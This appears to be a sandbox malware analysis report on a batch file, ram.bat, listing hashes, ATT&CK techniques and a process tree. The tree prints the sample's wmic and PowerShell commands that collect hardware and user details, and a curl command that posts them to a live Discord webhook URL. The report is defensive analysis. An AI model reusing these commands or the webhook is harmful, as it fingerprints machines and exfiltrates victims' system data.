561fdf64fd631258d8a6aaf9e346e20f32ead5041d4d100467b7e8ebe4a0d445

Analysis

user interaction
yes
max time kernel
149s
max time network
143s
platform
windows10-2004_x64
resource
win10v2004-20260130-en
resource tags

arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
24/04/2026, 15:01

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ram.bat
Size 2KB
Sample260424-sd1whsd15j
SHA256 561fdf64fd631258d8a6aaf9e346e20f32ead5041d4d100467b7e8ebe4a0d445
MD5 5b09a564d0310ec8aa335ffd0d28c168
SHA1 86f4620a598701a811c0466ae99add97f3c4ed75
SHA512 b517a96ac638390d2d20935b5549e3ac090a3a949719ae3b025d158980678ed1b26d1f4edeab8a4a1fe6d083d0a0498eb2b673ce41bf37302adc90613ec6a895
TLSH
T1EE41334536DD401407D348BBE402779BFE952B16A261EECE31E0E464CEC617ABA75837
MD5 SHA1 SHA512 TLSH

Score

6^/10

execution

Malware Config

Signatures

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
13	discord.com
14	discord.com

Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5428	powershell.exe
6080	powershell.exe
2936	powershell.exe
2768	powershell.exe
4320	powershell.exe
3168	powershell.exe
3740	powershell.exe
4804	powershell.exe

Suspicious behavior: EnumeratesProcesses 16 IoCs

pid	Process
2768	powershell.exe
2768	powershell.exe
4320	powershell.exe
4320	powershell.exe
3168	powershell.exe
3168	powershell.exe
3740	powershell.exe
3740	powershell.exe
4804	powershell.exe
4804	powershell.exe
5428	powershell.exe
5428	powershell.exe
6080	powershell.exe
6080	powershell.exe
2936	powershell.exe
2936	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	60	WMIC.exe
Token: SeSecurityPrivilege	60	WMIC.exe
Token: SeTakeOwnershipPrivilege	60	WMIC.exe
Token: SeLoadDriverPrivilege	60	WMIC.exe
Token: SeSystemProfilePrivilege	60	WMIC.exe
Token: SeSystemtimePrivilege	60	WMIC.exe
Token: SeProfSingleProcessPrivilege	60	WMIC.exe
Token: SeIncBasePriorityPrivilege	60	WMIC.exe
Token: SeCreatePagefilePrivilege	60	WMIC.exe
Token: SeBackupPrivilege	60	WMIC.exe
Token: SeRestorePrivilege	60	WMIC.exe
Token: SeShutdownPrivilege	60	WMIC.exe
Token: SeDebugPrivilege	60	WMIC.exe
Token: SeSystemEnvironmentPrivilege	60	WMIC.exe
Token: SeRemoteShutdownPrivilege	60	WMIC.exe
Token: SeUndockPrivilege	60	WMIC.exe
Token: SeManageVolumePrivilege	60	WMIC.exe
Token: 33	60	WMIC.exe
Token: 34	60	WMIC.exe
Token: 35	60	WMIC.exe
Token: 36	60	WMIC.exe
Token: SeIncreaseQuotaPrivilege	60	WMIC.exe
Token: SeSecurityPrivilege	60	WMIC.exe
Token: SeTakeOwnershipPrivilege	60	WMIC.exe
Token: SeLoadDriverPrivilege	60	WMIC.exe
Token: SeSystemProfilePrivilege	60	WMIC.exe
Token: SeSystemtimePrivilege	60	WMIC.exe
Token: SeProfSingleProcessPrivilege	60	WMIC.exe
Token: SeIncBasePriorityPrivilege	60	WMIC.exe
Token: SeCreatePagefilePrivilege	60	WMIC.exe
Token: SeBackupPrivilege	60	WMIC.exe
Token: SeRestorePrivilege	60	WMIC.exe
Token: SeShutdownPrivilege	60	WMIC.exe
Token: SeDebugPrivilege	60	WMIC.exe
Token: SeSystemEnvironmentPrivilege	60	WMIC.exe
Token: SeRemoteShutdownPrivilege	60	WMIC.exe
Token: SeUndockPrivilege	60	WMIC.exe
Token: SeManageVolumePrivilege	60	WMIC.exe
Token: 33	60	WMIC.exe
Token: 34	60	WMIC.exe
Token: 35	60	WMIC.exe
Token: 36	60	WMIC.exe
Token: SeDebugPrivilege	2768	powershell.exe
Token: SeIncreaseQuotaPrivilege	2768	powershell.exe
Token: SeSecurityPrivilege	2768	powershell.exe
Token: SeTakeOwnershipPrivilege	2768	powershell.exe
Token: SeLoadDriverPrivilege	2768	powershell.exe
Token: SeSystemProfilePrivilege	2768	powershell.exe
Token: SeSystemtimePrivilege	2768	powershell.exe
Token: SeProfSingleProcessPrivilege	2768	powershell.exe
Token: SeIncBasePriorityPrivilege	2768	powershell.exe
Token: SeCreatePagefilePrivilege	2768	powershell.exe
Token: SeBackupPrivilege	2768	powershell.exe
Token: SeRestorePrivilege	2768	powershell.exe
Token: SeShutdownPrivilege	2768	powershell.exe
Token: SeDebugPrivilege	2768	powershell.exe
Token: SeSystemEnvironmentPrivilege	2768	powershell.exe
Token: SeRemoteShutdownPrivilege	2768	powershell.exe
Token: SeUndockPrivilege	2768	powershell.exe
Token: SeManageVolumePrivilege	2768	powershell.exe
Token: 33	2768	powershell.exe
Token: 34	2768	powershell.exe
Token: 35	2768	powershell.exe
Token: 36	2768	powershell.exe

Suspicious use of WriteProcessMemory 21 IoCs

description	pid	Process	procid_target
PID 4892 wrote to memory of 3784	4892	cmd.exe	86
PID 4892 wrote to memory of 1428	4892	cmd.exe	87
PID 1428 wrote to memory of 60	1428	cmd.exe	88
PID 1428 wrote to memory of 4940	1428	cmd.exe	89
PID 4892 wrote to memory of 1872	4892	cmd.exe	91
PID 1872 wrote to memory of 2768	1872	cmd.exe	92
PID 4892 wrote to memory of 1592	4892	cmd.exe	93
PID 1592 wrote to memory of 4320	1592	cmd.exe	95
PID 4892 wrote to memory of 5908	4892	cmd.exe	96
PID 5908 wrote to memory of 3168	5908	cmd.exe	97
PID 4892 wrote to memory of 4432	4892	cmd.exe	98
PID 4432 wrote to memory of 3740	4432	cmd.exe	99
PID 4892 wrote to memory of 4384	4892	cmd.exe	100
PID 4384 wrote to memory of 4804	4384	cmd.exe	101
PID 4892 wrote to memory of 700	4892	cmd.exe	102
PID 700 wrote to memory of 5428	700	cmd.exe	103
PID 4892 wrote to memory of 3524	4892	cmd.exe	104
PID 3524 wrote to memory of 6080	3524	cmd.exe	105
PID 4892 wrote to memory of 2060	4892	cmd.exe	106
PID 2060 wrote to memory of 2936	2060	cmd.exe	107
PID 4892 wrote to memory of 3572	4892	cmd.exe	108

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\ram.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4892
- C:\Windows\system32\chcp.com
  chcp 65001
  2⤵
  PID:3784
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic csproduct get uuid /value | find "UUID"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1428
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic csproduct get uuid /value
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:60
- - C:\Windows\system32\find.exe
    find "UUID"
    3⤵
    PID:4940
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -command "[math]::round((Get-CimInstance Win32_ComputerSystem).TotalPhysicalMemory / 1GB, 2)"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1872
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "[math]::round((Get-CimInstance Win32_ComputerSystem).TotalPhysicalMemory / 1GB, 2)"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2768
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -command "(Get-CimInstance Win32_Processor).Name"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1592
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "(Get-CimInstance Win32_Processor).Name"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4320
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -command "(Get-CimInstance Win32_Processor).NumberOfCores"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5908
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "(Get-CimInstance Win32_Processor).NumberOfCores"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:3168
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -command "(Get-CimInstance Win32_Processor).NumberOfLogicalProcessors"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4432
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "(Get-CimInstance Win32_Processor).NumberOfLogicalProcessors"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:3740
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -command "$gpus = Get-CimInstance Win32_VideoController | ForEach-Object { $_.Name }; $gpus -join ' / '"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4384
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "$gpus = Get-CimInstance Win32_VideoController | ForEach-Object { $_.Name }; $gpus -join ' / '"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4804
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -command "[math]::round((Get-PSDrive C).Used / 1GB, 2)"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:700
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "[math]::round((Get-PSDrive C).Used / 1GB, 2)"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:5428
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -command "[math]::round((Get-PSDrive C).Free / 1GB, 2)"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3524
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "[math]::round((Get-PSDrive C).Free / 1GB, 2)"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:6080
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -command "[math]::round(((Get-PSDrive C).Used + (Get-PSDrive C).Free) / 1GB, 2)"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2060
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "[math]::round(((Get-PSDrive C).Used + (Get-PSDrive C).Free) / 1GB, 2)"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2936
- C:\Windows\system32\curl.exe
  curl -H "Content-Type: application/json" -X POST -d "{\"content\": \"👤 **تفاصيل المستخدم:**\n**User:** Admin\n**Machine:** EYGIPCXH\n**UUID:** 11111111-1111-1111-1111-111111111111\n\n💻 **مواصفات الجهاز:**\n**CPU:** Intel Core Processor (Broadwell)\n**Cores/Threads:** 2/2\n**RAM:** 4 GB\n**GPU:** Microsoft Basic Display Adapter\n**Disk C:** 195.71GB used / 215.71GB total\"}" https://discord.com/api/webhooks/1497251029199360012/iCgH5biv52zf3srhcv_Ujz8HMnYG_Npm_jg9gqJopCPrDfXRUa1DYNKyHn9fh4IW7XeM
  2⤵
  PID:3572

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...